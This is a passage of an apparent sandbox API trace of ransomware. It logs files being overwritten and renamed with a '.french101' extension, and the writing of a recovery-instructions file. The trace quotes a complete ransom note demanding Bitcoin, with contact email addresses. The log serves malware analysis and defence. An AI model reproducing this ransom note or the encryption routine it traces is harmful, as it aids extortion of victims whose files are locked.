lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.819] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.819] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.819] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0278.819] CharLowerBuffW (in: lpsz=".rtf", cchLength=0x4 | out: lpsz=".rtf") returned 0x4 [0278.819] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rtf", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rtfw", lpUsedDefaultChar=0x0) returned 4 [0278.819] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\я" (normalized: "c:\\588bce7c90097ed212\\1036\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.821] WriteFile (in: hFile=0x308, lpBuffer=0x3f31ca8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31ca8*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0278.822] CloseHandle (hObject=0x308) returned 1 [0278.822] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\я" (normalized: "c:\\588bce7c90097ed212\\1036\\я")) returned 1 [0278.824] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da2d0 [0278.824] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0278.824] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0278.824] FindClose (in: hFindFile=0x6da2d0 | out: hFindFile=0x6da2d0) returned 1 [0278.824] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf", dwFileAttributes=0x20) returned 1 [0278.824] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.824] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0278.824] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xdc6 [0278.825] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0278.825] SetFilePointer (in: hFile=0x308, lDistanceToMove=3526, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0xdc6 [0278.825] WriteFile (in: hFile=0x308, lpBuffer=0x3f31c98*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c98*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0278.925] CloseHandle (hObject=0x308) returned 1 [0278.926] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.926] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0278.926] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xdc7 [0278.926] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0278.926] SetFilePointer (in: hFile=0x308, lDistanceToMove=3526, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xdc6 [0278.926] SetEndOfFile (hFile=0x308) returned 1 [0278.928] CloseHandle (hObject=0x308) returned 1 [0278.928] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.929] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0278.929] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xdc6 [0278.929] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0278.929] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.929] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0278.929] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xdc6 [0278.930] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0278.930] ReadFile (in: hFile=0x308, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0278.933] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0278.933] GlobalLock (hMem=0x3f40014) returned 0x3ae7e28 [0278.933] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0278.933] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.933] GlobalHandle (pMem=0x3ae7e28) returned 0x3f40014 [0278.933] GlobalUnlock (hMem=0x3f40014) returned 0 [0278.933] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0278.933] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0278.933] GlobalUnlock (hMem=0x3f40014) returned 0 [0278.933] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0278.933] WriteFile (in: hFile=0x308, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0278.934] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0278.934] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xdc6 [0278.934] SetFilePointer (in: hFile=0x308, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0278.934] SetFilePointer (in: hFile=0x308, lDistanceToMove=3526, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xdc6 [0278.934] WriteFile (in: hFile=0x308, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0278.951] WriteFile (in: hFile=0x308, lpBuffer=0x3efcc48*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3efcc48*, lpNumberOfBytesWritten=0x19e498*=0xb2, lpOverlapped=0x0) returned 1 [0278.951] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.951] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.952] CloseHandle (hObject=0x308) returned 1 [0278.952] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1036\\7KfhbfTCxDtM4vdbZhIQM4.french101" (normalized: "c:\\588bce7c90097ed212\\1036\\7kfhbftcxdtm4vdbzhiqm4.french101")) returned 1 [0278.953] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\7KfhbfTCxDtM4vdbZhIQM4.french101" (normalized: "c:\\588bce7c90097ed212\\1036\\7kfhbftcxdtm4vdbzhiqm4.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.953] SetFileTime (hFile=0x308, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0278.953] CloseHandle (hObject=0x308) returned 1 [0278.953] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\7KfhbfTCxDtM4vdbZhIQM4.french101", dwFileAttributes=0x80) returned 1 [0278.954] CloseHandle (hObject=0x308) returned 0 [0278.954] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.954] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.954] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.954] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.954] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0278.954] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.954] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.954] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0278.954] GlobalUnlock (hMem=0x3f40014) returned 0 [0278.954] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0278.954] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0xffffffff [0278.955] GetLastError () returned 0x2 [0278.955] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1036\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.955] WriteFile (in: hFile=0x308, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19e798*=0x87f, lpOverlapped=0x0) returned 1 [0278.956] CloseHandle (hObject=0x308) returned 1 [0278.956] FindNextFileW (in: hFindFile=0x6da290, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0278.956] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0278.956] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0278.956] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0278.956] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0278.956] GlobalUnlock (hMem=0x3f40014) returned 0 [0278.957] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0278.957] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0278.957] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0278.957] GlobalUnlock (hMem=0x3f40014) returned 0 [0278.957] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0278.957] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.957] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0278.957] CharLowerBuffW (in: lpsz="LocalizedData.xml", cchLength=0x11 | out: lpsz="localizeddata.xml") returned 0x11 [0278.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0278.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.958] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0278.958] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0278.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xml.xmlt", lpUsedDefaultChar=0x0) returned 4 [0278.958] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da1d0 [0278.958] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0278.958] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0278.958] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0278.958] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0278.959] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.959] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0278.959] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x14412 [0278.959] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0278.959] SetFilePointer (in: hFile=0x308, lDistanceToMove=82962, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x14412 [0278.959] WriteFile (in: hFile=0x308, lpBuffer=0x3f31ca8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31ca8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0278.961] CloseHandle (hObject=0x308) returned 1 [0279.014] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0279.015] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0279.015] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x14413 [0279.015] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0279.015] SetFilePointer (in: hFile=0x308, lDistanceToMove=82962, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x14412 [0279.015] SetEndOfFile (hFile=0x308) returned 1 [0279.018] CloseHandle (hObject=0x308) returned 1 [0279.018] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0279.018] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0279.018] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x14412 [0279.018] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0279.019] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.019] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0279.019] ReadFile (in: hFile=0x308, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0279.020] SetFilePointer (in: hFile=0x308, lDistanceToMove=61864, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xf1a8 [0279.020] ReadFile (in: hFile=0x308, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0279.020] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0279.020] GlobalLock (hMem=0x3f4000c) returned 0x3ae7e28 [0279.020] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0279.020] GlobalUnlock (hMem=0x3f40014) returned 0 [0279.020] GlobalHandle (pMem=0x3ae7e28) returned 0x3f4000c [0279.020] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.020] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0279.020] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0279.020] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.038] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0279.038] WriteFile (in: hFile=0x308, lpBuffer=0x3eaa7c8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaa7c8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0279.038] SetFilePointer (in: hFile=0x308, lDistanceToMove=61864, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xf1a8 [0279.038] WriteFile (in: hFile=0x308, lpBuffer=0x3eaabc8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaabc8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0279.038] SetFilePointer (in: hFile=0x308, lDistanceToMove=82962, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x14412 [0279.038] WriteFile (in: hFile=0x308, lpBuffer=0x3eaafc8*, nNumberOfBytesToWrite=0x18, 